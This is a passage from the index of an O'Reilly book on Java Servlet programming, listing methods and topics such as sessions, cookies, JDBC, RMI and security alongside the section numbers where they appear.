getHeader( ): 4.4.8.1. Accessing header values
4.4.8.1. Accessing header values
getHeaderField( ): 10.2.2.2. Back to the applet
getHeaderNames( ): 4.4.8.1. Accessing header values
getIds( ): 7.5.5. Putting Sessions in Context
getImage( ): 6.1.1.1. A ``Hello World'' image
getInitParameter( ): 3.3.1. A Counter with Init
getInitParameterNames( ): 4.1.2. Getting Init Parameter Names
getInputStream( ): 4.4.9. Wading the Input Stream
getIntHeader( ): 4.4.8.1. Accessing header values
4.4.8.1. Accessing header values
getLastAccessedTime( ): 7.5.3. The Session Life Cycle
getLastModified( ): 3.6. Last Modified Times
3.6. Last Modified Times
getMethod( ): 4.4.7. How It Was Requested
getMimeType( ): 4.4.3.3. Getting MIME types
6.1. Images
getName( ): 7.5.9. Session Binding Events
getObject( ): 9.2.3. Executing SQL Queries
getOutputStream( ): 5.2. Sending a Normal Response
getParameter( ): 2.4.1. Writing a Server-Side Include
2.6.5. JavaServer Pages and JavaBeans
4.4.1. Request Parameters
4.4.9.2. Handling POST requests using the input stream
getParameterNames( ): 4.4.1. Request Parameters
4.4.9.3. Receiving files using the input stream
getParameterValues( ): 4.4.1. Request Parameters
getPathInfo( ): 4.4.3.2. Ad hoc path translations
7.3. URL Rewriting
getPathTranslated( ): 4.4.3.1. Getting path information
4.4.3.2. Ad hoc path translations
getProperties( ).get( ): 11.3.1. Collaboration Through the System Properties List
getProperties( ).put( ): 11.3.1. Collaboration Through the System Properties List
11.3.1. Collaboration Through the System Properties List
getProperties( ).remove( ): 11.3.1. Collaboration Through the System Properties List
11.3.1. Collaboration Through the System Properties List
getProperty( ): 4.2.1. Getting Information About the Server
13.7.7. Some Final Tips
getReader( ): 2.5.1. Creating a Servlet Chain
4.4.9. Wading the Input Stream
getRealPath( ): 4.4.3.2. Ad hoc path translations
getRemoteAddr( ): 4.3.1. Getting Information About the Client Machine
getRemoteHost( ): 4.3.1. Getting Information About the Client Machine
getRemoteUser( ): 4.3.3. Getting Information About the User
4.3.3. Getting Information About the User
4.4.8. Request Headers
8.1.1. Retrieving Authentication Information
8.1.2. Custom Authorization
8.3.2. Retrieving SSL Authentication Information
getRequestURL( ): 4.4.5. Determining What Was Requested
getResultSet( ): 9.2.7. Updating the Database
getScheme( ): 4.4.7. How It Was Requested
getServerInfo( ): 4.2.1. Getting Information About the Server
getServlet( ): 11.1. Servlet Manipulation
getServletInfo( ): 2.3.3. Handling Form Data
getServletNames( ): 11.1. Servlet Manipulation
getServletPath( ): 4.4.5. Determining What Was Requested
getServlets( ): 11.1. Servlet Manipulation
getSession( ): 7.5.1. Session-Tracking Basics
7.5.5. Putting Sessions in Context
7.5.9. Session Binding Events
getSessionContext( ): 7.5.5. Putting Sessions in Context
getStackTraceAsString( ): 5.7.3. Reporting
getString( ): 9.2.3. Executing SQL Queries
getUpdateCount( ): 9.2.7. Updating the Database
getValue( ): 7.5.1. Session-Tracking Basics
getValueNames( ): 7.5.1. Session-Tracking Basics
getWriter( ): 5.2. Sending a Normal Response
handleClient( ): 10.2.4.1. The servlet
handleMalformedCount( ): 13.1. Parsing Parameters
handleNoCount( ): 13.1. Parsing Parameters
HEAD
handling of: 2.3.5. Handling HEAD Requests
purpose: 2.1.3. Other Methods
init( ): 3.3. Init and Destroy
3.3.1. A Counter with Init
3.3.2. A Counter with Init and Destroy
invalidate( ): 7.5.3. The Session Life Cycle
invoking using reflection: 11.1. Servlet Manipulation
isNew( ): 7.5.3. The Session Life Cycle
isRequestedSessionIdFromCookie ( ): 7.5.7. Storing Session IDs
isRequestedSessionIdFromUrl( ): 7.5.7. Storing Session IDs
isRequestedSessionIdValue( ): 7.5.7. Storing Session IDs
log( ) for debugging: 5.7.2. Logging
13.7.2. Output Extra Information
main( ) not used in servlets: 2.2. The Servlet API
next( ): 9.2.3. Executing SQL Queries
OPTIONS: 2.1.3. Other Methods
POST
description: 2.1.2. GET and POST
handling of: 2.3.4. Handling POST Requests
in chat server: 10.1.1. HTTP and Raw Socket Connections
10.3.1. The Design
10.3.2. The Servlet
input stream: 4.4.9.2. Handling POST requests using the input stream
use of: 2.1.2. GET and POST
prepareStatement( ): 9.2.8. Using Prepared Statements
protected: 11.3.3.2. Inheriting the shared information
PUT: 2.1.3. Other Methods
putValue( ): 7.5.1. Session-Tracking Basics
readLine( ): 4.4.9. Wading the Input Stream
removeValue( ): 7.5.1. Session-Tracking Basics
retrieving SQL data types: 9.2.5. Result Sets in Detail
returnConnection( ): 9.4.3. Connection Pooling
rollback( ): 9.4.1. Using Transactions with JDBC
sendError( ): 5.5.1. Setting a Status Code
5.7.1. Status Codes
sendPostMessage( ): 10.2.3.3. Posting a serialized object
sendRedirect( ): 5.6.2. Redirecting a Request
service( ): 2.2. The Servlet API
2.4.1. Writing a Server-Side Include
4.4.7. How It Was Requested
5.7.4. Exceptions
setAutoCommit( ): 9.4.1. Using Transactions with JDBC
9.4.3. Connection Pooling
setComment( ): 7.4.1. Working with Cookies
setContentLength( ): 5.3. Using Persistent Connections
setContentType( ): 5.2. Sending a Normal Response
6.1. Images
6.1.1.1. A ``Hello World'' image
setDateHeader( ): 5.6.1. Setting an HTTP Header
setDomain( ): 7.4.1. Working with Cookies
setHeader( ): 5.6.1. Setting an HTTP Header
5.6.3. Client Pull
setIntHeader( ): 5.6.1. Setting an HTTP Header
setMaxAge( ): 7.4.1. Working with Cookies
setName( ): 2.6.5. JavaServer Pages and JavaBeans
setPath( ): 7.4.1. Working with Cookies
setRequestProperty( ): 10.2.2.2. Back to the applet
setSecure( ): 7.4.1. Working with Cookies
setStatus( ): 5.5.1. Setting a Status Code
5.7.1. Status Codes
setValue( ): 7.4.1. Working with Cookies
setVersion( ): 7.4.1. Working with Cookies
static: 11.3.3.2. Inheriting the shared information
stop( ): 3.5. Background Processing
synchronized: 3.1.4. A Simple Synchronized Counter
TRACE: 2.1.3. Other Methods
valueBound( ): 7.5.9. Session Binding Events
valueUnbound( ): 7.5.9. Session Binding Events
Microsoft
Internet Explorer
cascading style sheets: 5.4.2.3. Weather forecast using HTML generation creatively
charsets option: 12.3.1. Charsets
internationalization: 12.3.2. Writing Encoded Output
language option: 12.5.1. Language Preferences
no RMI support: 4.4.9.3. Receiving files using the input stream
User-Agent header: 4.4.8. Request Headers
UTF-8: 12.4.1. UCS-2 and UTF-8
Internet Information Server
ASP support: 1.1.2.2. Active Server Pages
no FastCGI support: 1.1.1.1. FastCGI
ISAPI: 1.1.2.1. Server Extension APIs
Windows NT, problem with cmd.exe: 13.4.4. Executing Finger with Redirected Output
Windows, problem with telnet.exe: 13.7.6. Create a Custom Client Request
MIME types
application/x-www-form-urlencoded: 10.2.2.2. Back to the applet
custom: 10.2.3.1. The servlet
how to return: 6. Sending Multimedia Content
identified by servlet: 4.4.3.3. Getting MIME types
image/gif: 6.1.1.1. A ``Hello World'' image
in Accept header: 4.4.8. Request Headers
in Content-Type headers: 2.1.1. Requests, Responses, and Headers
none to represent serialized objects: 10.2.3.1. The servlet
text/html: 2.3.1. Writing Hello World
mod_perl, web site for information: 1.1.1.2. mod_perl
monitor (lock) on a class: 3.1.4. A Simple Synchronized Counter
multilingual input: 12.7. Receiving Multilingual Input
MultipartRequest class: 4.4.9.3. Receiving files using the input stream
multithreading: 1.3.2. Power

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: N

NAME attribute: 2.6.5. JavaServer Pages and JavaBeans
name, registered: 2.3.2. Running Hello World
2.4.1. Writing a Server-Side Include
3.1.5. A Holistic Counter
4.1.2. Getting Init Parameter Names
National Television Systems Committee (NTSC): 6.1.3.1. Converting an image to grayscale
native-API, partly-Java drivers: 9.2.1. JDBC Drivers
native code: 13.5. Using Native Methods
native-protocol all-Java drivers: 9.2.1. JDBC Drivers
net-protocol all-Java drivers: 9.2.1. JDBC Drivers
Netscape
cookie specification: 7.4. Persistent Cookies
Enterprise Server
supports SSJS: 1.1.2.3. Server-side JavaScript
WAICoolRunner support: 1.2.2. Add-on Servlet Engines
web site for information: 1.2.1. Standalone Servlet Engines
FastTrack Server: 1.1.2.3. Server-side JavaScript
1.2.2. Add-on Servlet Engines
home page in various languages: 12. Internationalization
introduced server-side applets: 0. Preface
introduced SSL: 8.3. Secure Sockets Layer (SSL)
Navigator
bug with request's content type: 10.2.2.2. Back to the applet
cascading style sheets: 5.4.2.3. Weather forecast using HTML generation creatively
charsets option: 12.3.1. Charsets
file uploading: 4.4.9.3. Receiving files using the input stream
internationalization: 12.3.2. Writing Encoded Output
introduced cookies: 7.4. Persistent Cookies
language option: 12.5.1. Language Preferences
RMI support: 10.1.3. JDBC, RMI, and a Little CORBA
User-Agent header: 4.4.8. Request Headers
UTF-8: 12.4.1. UCS-2 and UTF-8
server-side applets: 0. Preface
server-side JavaScript (SSJS): 1.1.2.3. Server-side JavaScript
server-side scripting: 1.1.2.3. Server-side JavaScript
WAI interface: 1.2.2. Add-on Servlet Engines
New Atlanta's ServletExec, web site for information: 1.2.2. Add-on Servlet Engines
New Hacker's Dictionary book: 10.2.4.1. The servlet
next( ) method: 9.2.3. Executing SQL Queries
Nexus Web Server, web site for information: 1.2.3. Embeddable Servlet Engines
non-HTTP applet: 10.2.4.3. The applet
non-HTTP protocol: 10.2.4.1. The servlet
non-HTTP server: 10.2.4.1. The servlet
10.2.4.2. The superclass
NSAPI (WAI), a Netscape API: 1.1.2.1. Server Extension APIs
NTSC: 6.1.3.1. Converting an image to grayscale
null database values: 9.2.6. Handling Null Fields

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: O

obfuscator: 4.2.2. Locking a Servlet to a Server
object-oriented HTML: 5.4. HTML Generation
5.4.1. Generating Hello World
5.4.2.2. Weather forecast using HTML generation
5.4.2.3. Weather forecast using HTML generation creatively
object serialization: 1.3.2. Power
10.1.2. Servlets and Object Serialization
10.2.3.3. Posting a serialized object
10.2.3.3. Posting a serialized object
OCI libraries: 9.2.1. JDBC Drivers
operating systems' requirements for starting a server: 2.3.2. Running Hello World
OPTIONS method: 2.1.3. Other Methods
Oracle Call Interface, see OCI: 9.2.1. JDBC Drivers
Oracle's PL/SQL language: 9.5.1. Stored Procedures
O'Reilly's WebSite Professional, web site for information: 1.2.1. Standalone Servlet Engines
Original Reusable Objects' PerlTools and OROMatcher, web site for downloading: 13.3. Using Regular Expressions
OROMatcher, web site for downloading: 13.3. Using Regular Expressions
output, redirected: 13.4.4. Executing Finger with Redirected Output
overhead of object creation: 3.1.2. Instance Persistence

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: P

packages
com.sun: 4.2.1. Getting Information About the Server
4.4.10. Extra Attributes
java.\\*: 4.2.1. Getting Information About the Server
4.4.10. Extra Attributes
java.security: 8.3.2. Retrieving SSL Authentication Information
java.util.zip: 6.2. Compressed Content
javax.\\*: 4.2.1. Getting Information About the Server
4.4.10. Extra Attributes
javax.servlet: 2.2. The Servlet API
A. Servlet API Quick Reference
javax.servlet.http: 2.2. The Servlet API
B. HTTP Servlet API Quick Reference
reserved names: 4.2.1. Getting Information About the Server
page generation: 2.3. Page Generation
Paralogic's WebCore, web site for information: 1.2.3. Embeddable Servlet Engines
<PARAM> tag: 2.4. Server-Side Includes
2.6.5. JavaServer Pages and JavaBeans
4.4.1. Request Parameters
10.3.6. The Dispatcher
ParameterParser class: 13.2.2. Emailing Form Data
parameters
getInitParameter( ): 3.3.1. A Counter with Init
getParameter( ): 2.4.1. Writing a Server-Side Include
2.6.5. JavaServer Pages and JavaBeans
initialization (init)
registered servlet names: 4.1. Initialization Parameters
uses of: 3.3. Init and Destroy
<PARAM> tag: 2.4. Server-Side Includes
2.6.5. JavaServer Pages and JavaBeans
4.4.1. Request Parameters
10.3.6. The Dispatcher
parsing: 13.1. Parsing Parameters
request: 4.4.1. Request Parameters
servlet-generated for applets: 10.3.6. The Dispatcher
<SERVLET> tag: 2.4. Server-Side Includes
parsing request parameters: 13.1. Parsing Parameters
passwords: 8.1. HTTP Authentication
path information: 4.4.3. Path Information
path translations: 4.4.3.2. Ad hoc path translations
performance, maximizing: 3.1.1. A Single Java Virtual Machine
3.1.2. Instance Persistence
3.2. Servlet Reloading
13.8. Performance Tuning
Perl
advantage of: 1.1.2. Other Solutions
predominance: 1.1.1. Common Gateway Interface
regular expressions: 13.3. Using Regular Expressions
PerlEx, web site for information: 1.1.1.3. PerlEx
PerlTools, web site for downloading: 13.3. Using Regular Expressions
permission types: 8.4.2. Fine-grained Control
persistence
cookies: 7.4. Persistent Cookies
servlets: 1.3.3. Efficiency and Endurance
3.1. The Servlet Alternative
3.1.2. Instance Persistence
5.3. Using Persistent Connections
threads: 3.1.2. Instance Persistence
personalized welcome example: 4.3.4. A Personalized Welcome
pixel values: 6.1.1. Image Generation
PL/SQL language: 9.5.1. Stored Procedures
pointer reference, invalid: 1.3.4. Safety
pointers, dangling: 1.3.4. Safety
pool drivers, web site for: 9.4.3. Connection Pooling
port number: 4.2.1. Getting Information About the Server
portability of servlets: 1.3.1. Portability
Poskanzer, Jef
Acme.Serve, web site for information: 1.2.3. Embeddable Servlet Engines
GIF encoder, web site for downloading: 6.1.1.1. A ``Hello World'' image
POST method
description: 2.1.2. GET and POST
handling of: 2.3.4. Handling POST Requests
in chat server: 10.1.1. HTTP and Raw Socket Connections
10.3.1. The Design
10.3.2. The Servlet
input stream: 4.4.9.2. Handling POST requests using the input stream
use of: 2.1.2. GET and POST
power of servlets: 1.3.2. Power
Pragma header: 5.6. HTTP Headers
10.2.2.2. Back to the applet
PreparedStatement class: 9.2.8. Using Prepared Statements
9.3.2. Reusing Prepared Statements
prepareStatement( ) method: 9.2.8. Using Prepared Statements
PrintStream class: 2.3.1. Writing Hello World
5.2. Sending a Normal Response
PrintWriter class: 2.3.1. Writing Hello World
problem reports: 5.7.3. Reporting
Properties list: 11.3.1. Collaboration Through the System Properties List
protected methods: 11.3.3.2. Inheriting the shared information
proxies, SOCKS-based: 10.1.3. JDBC, RMI, and a Little CORBA
public-key cryptography: 8.2. Digital Certificates
pull, client: 5.6.3. Client Pull
6.3. Server Push
push, server: 6.3. Server Push
PUT method: 2.1.3. Other Methods
putValue( ) method: 7.5.1. Session-Tracking Basics

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Q

queries
executing: 9.2.3. Executing SQL Queries
formatting results: 9.2.5. Result Sets in Detail
query string: 2.1.2. GET and POST
6.1.2.2. Combining images
10.1.1. HTTP and Raw Socket Connections

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: R

raw socket connections and HTTP: 10.1.1. HTTP and Raw Socket Connections
10.3.1. The Design
11.2.1. An Improved getServlet( )
RDBMS
definition: 9.1. Relational Databases
internal programming language: 9.5.1. Stored Procedures
readLine( ) method: 4.4.9. Wading the Input Stream
redirected output: 13.4.4. Executing Finger with Redirected Output
redirecting a request: 5.6.2. Redirecting a Request
reference books
CGI: 1.1.1. Common Gateway Interface
digital certificates: 8.2. Digital Certificates
HTTP: 2.1. HTTP Basics
4.4.8. Request Headers
Java: 0.1.1. What You Need to Know
SQL: 9.1. Relational Databases
see also books: 1.1.1. Common Gateway Interface
reference, invalid: 1.3.4. Safety
Referer header: 4.4.8. Request Headers
referrals, identifying: 4.4.8. Request Headers
reflection to invoke methods: 11.1. Servlet Manipulation
Refresh header: 6.3. Server Push
registered name: 2.3.2. Running Hello World
2.4.1. Writing a Server-Side Include
3.1.5. A Holistic Counter
4.1.2. Getting Init Parameter Names
registry server: 10.1.3. JDBC, RMI, and a Little CORBA
10.2.5.2. The superclass
10.2.5.2. The superclass
regular expression searching: 1.3.2. Power
regular expressions: 13.3. Using Regular Expressions
Relational Database Management System, see RDBMS: 9.1. Relational Databases
reloading servlets: 3.2. Servlet Reloading
Remote Method Invocation, see RMI: 10.1.3. JDBC, RMI, and a Little CORBA
remote object servlet: 10.2.5.1. The servlet
10.2.5.2. The superclass
10.2.5.2. The superclass
RemoteDaemonHttpServlet class: 10.3. Chat Server
RemoteHttpServlet class: 10.2.5.2. The superclass
removeValue( ) method: 7.5.1. Session-Tracking Basics
removing <BLINK>: 2.5.1. Creating a Servlet Chain
13.3.1. Improving Deblink with Regular Expressions
request
header: 4.4.8.1. Accessing header values
parameters: 4.4.1. Request Parameters
redirecting: 5.6.2. Redirecting a Request
request parameters, parsing: 13.1. Parsing Parameters
resource bundles: 12.5.3. Resource Bundles
response
body: 5.1. The Structure of a Response
headers
example: 2.1.1. Requests, Responses, and Headers
partial table of: 5.6. HTTP Headers
image: 6.1. Images
structure: 5.1. The Structure of a Response
ResultSet class
getAsciiStream( ) method: 9.5.2. Binaries and Books
getBinaryStream( ) method: 9.5.2. Binaries and Books
9.5.2. Binaries and Books
getObject( ) method: 9.2.3. Executing SQL Queries
getString( ) method: 9.2.3. Executing SQL Queries
indexes, numbered 1 to n: 9.2.5. Result Sets in Detail
next( ) method: 9.2.3. Executing SQL Queries
ResultSetMetaData class
getColumnCount( ) method: 9.2.5. Result Sets in Detail
getColumnLabel( ) method: 9.2.5. Result Sets in Detail
Retry-After header: 5.6. HTTP Headers
returnConnection( ) method: 9.4.3. Connection Pooling
reusing abilities of another servlet: 11.2. Servlet Reuse
11.2.2. Reusing ChatServlet
rewriting URLs: 7.3. URL Rewriting
RFC 1630 (about URIs, URLs, and URNs): 4.4.5. Determining What Was Requested
RFC 1521 (Base64 encoding): 8.1.2. Custom Authorization
RFC 2278 (charsets): 12.3.1. Charsets
RFC 2109 (cookie specification): 7.4. Persistent Cookies
RFC 1867 (file-uploading specification): 4.4.9.3. Receiving files using the input stream
RFC 2070 (HTML internationalization): 12.6. HTML Forms
RFC 2279 (UTF-8 character set): 12.4.1. UCS-2 and UTF-8
RMI (Remote Method Invocation)
advantages: 10.1.3. JDBC, RMI, and a Little CORBA
API: 10.1.3. JDBC, RMI, and a Little CORBA
client servlets: 13.6. Acting as an RMI Client
communication: 10.2.5. RMI Communication
disadvantages: 10.1.3. JDBC, RMI, and a Little CORBA
firewall limitations: 10.1.3. JDBC, RMI, and a Little CORBA
no requests or responses: 10.1.3. JDBC, RMI, and a Little CORBA
registry server: 10.1.3. JDBC, RMI, and a Little CORBA
10.2.5.2. The superclass
10.2.5.2. The superclass
rmic compiler: 10.2.5.1. The servlet
10.3.5. The RMI Applet
servlet feature: 1.3.2. Power
supported by Netscape Navigator only: 10.1.3. JDBC, RMI, and a Little CORBA
transport layer: 10.1.3. JDBC, RMI, and a Little CORBA
rmic (RMI compiler): 10.2.5.1. The servlet
10.3.5. The RMI Applet
rogues, fiendish: 8. Security
rollback( ) method: 9.4.1. Using Transactions with JDBC
root directory of server: 4.2.1. Getting Information About the Server

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: S

safety of servlets: 1.3.4. Safety
sandbox: 5.7. When Things Go Wrong
sandbox for servlets: 8.4.1. The Servlet Sandbox
saving state of servlets: 11.1.2. Saving the State of the Currently Loaded Servlets
SCOPE attribute: 2.6.5. JavaServer Pages and JavaBeans
search, case-insensitive: 13.3.1. Improving Deblink with Regular Expressions
secure connections: 4.4.7. How It Was Requested
Secure Sockets Layer, see SSL: 4.4.7. How It Was Requested
security
access controller: 8.4.3. Access Controllers
Base64
decoder: 8.1.2. Custom Authorization
encoding: 8.1. HTTP Authentication
RFC 1521: 8.1.2. Custom Authorization
user name and password in header: 8.1.2. Custom Authorization
certificate authorities
Entrust Technologies: 8.2. Digital Certificates
Keywitness: 8.2. Digital Certificates
Thawte Consulting: 8.2. Digital Certificates
VeriSign: 4.4.10. Extra Attributes
8.2. Digital Certificates
8.3.1. SSL Client Authentication
CGI concerns: 8.4. Running Servlets Securely
digital certificates: 8.2. Digital Certificates
Java features: 5.7. When Things Go Wrong
permission types: 8.4.2. Fine-grained Control
public-key cryptography: 8.2. Digital Certificates
requirements: 8. Security
WWW Security FAQ, web site for information: 8.4. Running Servlets Securely
see also authorization and authentication: 8. Security
security manager: 8.4.1. The Servlet Sandbox
SecurityManager class: 8.4.1. The Servlet Sandbox
SELECT statement: 9.1. Relational Databases
sendError( ) method: 5.5.1. Setting a Status Code
5.7.1. Status Codes
sendPostMessage( ) method: 10.2.3.3. Posting a serialized object
sendRedirect( ) method: 5.6.2. Redirecting a Request
serialized objects
in Java API: 1.3.2. Power
in servlets: 10.1.2. Servlets and Object Serialization
no MIME types: 10.2.3.1. The servlet
no primitive types: 10.2.3.3. Posting a serialized object
uploaded by applet: 10.2.3.3. Posting a serialized object
server certificates: 8.3. Secure Sockets Layer (SSL)
server, chat: 10.3. Chat Server
server extensible modules: 0. Preface
server extension APIs: 1.1.2.1. Server Extension APIs
Server header: 2.1.1. Requests, Responses, and Headers
server push: 6.3. Server Push
server-side applets: 0. Preface
server-side include, see SSIs: 2.4. Server-Side Includes
server-side JavaScript (SSJS): 1.1.2.3. Server-side JavaScript
server-specific pages for errors: 5.7.1. Status Codes
servers
ASP support: 1.1.2.2. Active Server Pages
ATG's Dynamo Application Server: 1.2.1. Standalone Servlet Engines
available-socket count: 6.3. Server Push
communication with applets: 10.1. Communication Options
crashing: 3.3.2. A Counter with Init and Destroy
custom class loaders: 3.2. Servlet Reloading
identifying: 4.2.1. Getting Information About the Server
Java Web Server (``Jeeves''): 0.2. About the Examples
1.2.1. Standalone Servlet Engines
see also Java Web Server: 1.2.1. Standalone Servlet Engines
Kristensen's Nexus Web Server: 1.2.3. Embeddable Servlet Engines
Lotus's Domino Go Webserver: 1.2.1. Standalone Servlet Engines
Netscape's Enterprise Server: 1.2.1. Standalone Servlet Engines
non-HTTP: 10.2.4.1. The servlet
10.2.4.2. The superclass
10.2.4.3. The applet
O'Reilly's WebSite Professional: 1.2.1. Standalone Servlet Engines
port number: 4.2.1. Getting Information About the Server
registry: 10.1.3. JDBC, RMI, and a Little CORBA
10.2.5.2. The superclass
10.2.5.2. The superclass
root directory: 4.2.1. Getting Information About the Server
servlets locking to: 4.2.2. Locking a Servlet to a Server
starting: 2.3.2. Running Hello World
WebLogic's Tengah Application Server: 1.2.1. Standalone Servlet Engines
9.2.1. JDBC Drivers
World Wide Web Consortium's Jigsaw Server: 1.2.1. Standalone Servlet Engines
SERVER_URL variable: 4.4.7. How It Was Requested
service( ) method: 2.2. The Servlet API
2.4.1. Writing a Server-Side Include
4.4.7. How It Was Requested
5.7.4. Exceptions
servlet alias: 2.3.2. Running Hello World
Servlet API
description: 2.2. The Servlet API
reference appendix: A. Servlet API Quick Reference
Servlet CGI Development Kit, web site for information: 1.2.2. Add-on Servlet Engines
Servlet class: A. Servlet API Quick Reference
servlet engines
add-on: 1.2.2. Add-on Servlet Engines
embeddable: 1.2.3. Embeddable Servlet Engines
required life-cycle contract: 3.1. The Servlet Alternative
single Java virtual machine (JVM): 3.1. The Servlet Alternative
3.1.1. A Single Java Virtual Machine
standalone: 1.2.1. Standalone Servlet Engines
web site for list of: 1.2.4. Additional Thoughts
servlet-generated applet parameters: 10.3.6. The Dispatcher
Servlet interface: 2.2. The Servlet API
servlet (singular tag): 2.3.2. Running Hello World
<SERVLET> tag
how Java Web Server supports it: 2.5. Servlet Chaining and Filters
parameters: 2.4. Server-Side Includes
syntax varies: 2.4. Server-Side Includes
ServletConfig class: 3.3. Init and Destroy
3.3.1. A Counter with Init
3.3.1. A Counter with Init
A. Servlet API Quick Reference
ServletContext class: A. Servlet API Quick Reference
ServletDebugger, web site for information: 13.7.4. Use a Third-Party Tool
ServletException class: 5.7.4. Exceptions
A. Servlet API Quick Reference
ServletExec, web site for information: 1.2.2. Add-on Servlet Engines
ServletExpress, web site for information: 1.2.2. Add-on Servlet Engines
ServletInputStream class: A. Servlet API Quick Reference
ServletOutputStream class: 5.2. Sending a Normal Response
A. Servlet API Quick Reference
ServletRequest class: 2.2. The Servlet API
A. Servlet API Quick Reference
ServletResponse class: 2.2. The Servlet API
A. Servlet API Quick Reference
servletrunner shell script (Unix): 13.7.3. Use a Standard Debugger
servletrunner.exe program (Windows): 13.7.3. Use a Standard Debugger
servlets
accepting MIME types: 4.4.8. Request Headers
accessing
by alias: 2.3.2. Running Hello World
by registered name: 2.3.2. Running Hello World
by URL with /servlet/: 2.3.2. Running Hello World
accessing stored procedures: 9.5.1. Stored Procedures
authentication: 8.1.2. Custom Authorization
automatic reloading: 11.1. Servlet Manipulation
chaining: 2.5. Servlet Chaining and Filters
4.4.8.2. Headers in servlet chains
collaboration: 11.3. Servlet Collaboration
combining HTTP, non-HTTP, and RMI: 10.1.4. The Hybrid Approach
10.2.5.4. A full-service servlet
communication with applets: 10.1.3. JDBC, RMI, and a Little CORBA
10.3. Chat Server
communication with other servlets: 11. Interservlet Communication
daemon servlets: 10.2.4.2. The superclass
debugging: 13.7. Debugging
definition: 1. Introduction
direct manipulation: 11.1. Servlet Manipulation
dispatch servlet: 10.3.1. The Design
efficiency: 1.3.3. Efficiency and Endurance
elegance: 1.3.5. Elegance
email: 13.2. Sending Email
embedded in HTML pages
limited response capability: 2.4.1. Writing a Server-Side Include
SSI functionality: 2.4. Server-Side Includes
embedding applets: 6.1.5. An Image of an Embedded Applet
environment variables: 4. Retrieving Information
error-handling mechanisms: 5.7.1. Status Codes
see also status codes: 5.7.1. Status Codes
events listed: 13.7.1. Check the Logs
executing external programs: 13.4. Executing Programs
extensibility: 1.3.7. Extensibility and Flexibility
handled as JavaBeans: 3.3. Init and Destroy
hung up on: 5.7.5. Knowing When No One's Listening
identifying client machines: 4.3.1. Getting Information About the Client Machine
4.4.8. Request Headers
identifying MIME types: 4.4.3.3. Getting MIME types
identifying referrals: 4.4.8. Request Headers
identifying servers: 4.2.1. Getting Information About the Server
identifying users: 4.3.3. Getting Information About the User
image chaining: 11.3.1.2. Faster image chaining
initialization: 3.3. Init and Destroy
input streams: 4.4.9. Wading the Input Stream
integration: 1.3.6. Integration
JavaSoft: 0. Preface
life cycle: 3.1. The Servlet Alternative
7.5.3. The Session Life Cycle
locking to specific server: 4.2.2. Locking a Servlet to a Server
logging errors: 5.7.2. Logging
main( ) method not used: 2.2. The Servlet API
non-Western European languages: 12.3. Non-Western European Languages
object serialization: 1.3.2. Power
10.1.2. Servlets and Object Serialization
10.2.3.3. Posting a serialized object
10.2.3.3. Posting a serialized object
persistence: 1.3.3. Efficiency and Endurance
3.1. The Servlet Alternative
3.1.2. Instance Persistence
5.3. Using Persistent Connections
portability: 1.3.1. Portability
power: 1.3.2. Power
problem reports: 5.7.3. Reporting
purpose: 0. Preface
registered name: 2.3.2. Running Hello World
2.4.1. Writing a Server-Side Include
3.1.5. A Holistic Counter
4.1.2. Getting Init Parameter Names
reloading: 3.2. Servlet Reloading
remote object servlet: 10.2.5.1. The servlet
10.2.5.2. The superclass
10.2.5.2. The superclass
response
body: 5.1. The Structure of a Response
structure: 5.1. The Structure of a Response
returning MIME types: 6. Sending Multimedia Content
reusing abilities of another servlet: 11.2. Servlet Reuse
11.2.2. Reusing ChatServlet
RMI clients: 13.6. Acting as an RMI Client
runner for debugging: 13.7.3. Use a Standard Debugger
sandbox for safety: 8.4.1. The Servlet Sandbox
saving state of: 3.3.2. A Counter with Init and Destroy
3.3.2. A Counter with Init and Destroy
11.1.2. Saving the State of the Currently Loaded Servlets
session-tracking built-in: 7.5. The Session Tracking API
sharing data with each other: 3.1. The Servlet Alternative
sharing information: 11.3.2. Collaboration Through a Shared Object
special treatment by server: 2.3.2. Running Hello World
ssinclude: 2.5.2. Running Deblink
2.5.3. The Loophole
stack traces: 5.7.2. Logging
5.7.3. Reporting
5.7.3. Reporting
5.7.4. Exceptions
status codes
reference appendix: C. HTTP Status Codes
reporting: 5.7.1. Status Codes
superclass for socket connection details: 10.2.4.1. The servlet
support classes: 3.2. Servlet Reloading
testing: 13.7. Debugging
trouble with: 5.7. When Things Go Wrong
type safety: 1.3.4. Safety
unloading: 3.3.2. A Counter with Init and Destroy
verifying: 11.1.1. Viewing the Currently Loaded Servlets
ServletUtils class: 5.7.3. Reporting
session
creation time: 7.5.3. The Session Life Cycle
invalidation: 7.5.3. The Session Life Cycle
last-request time: 7.5.3. The Session Life Cycle
newness: 7.5.3. The Session Life Cycle
session IDs: 7.5.5. Putting Sessions in Context
session objects: 7.5.1. Session-Tracking Basics
deleting: 7.5.1. Session-Tracking Basics
giving values to: 7.5.1. Session-Tracking Basics
retrieving: 7.5.1. Session-Tracking Basics
retrieving names of: 7.5.1. Session-Tracking Basics
retrieving values from: 7.5.1. Session-Tracking Basics
session-tracking
API: 7.5. The Session Tracking API
built into servlets: 7.5. The Session Tracking API
how to implement: 7.5.5. Putting Sessions in Context
techniques: 7. Session Tracking
setAutoCommit( ) method: 9.4.1. Using Transactions with JDBC
9.4.3. Connection Pooling
setComment( ) method: 7.4.1. Working with Cookies
setContentLength( ) method: 5.3. Using Persistent Connections
setContentType( ) method: 5.2. Sending a Normal Response
6.1. Images
6.1.1.1. A ``Hello World'' image
setDateHeader( ) method: 5.6.1. Setting an HTTP Header
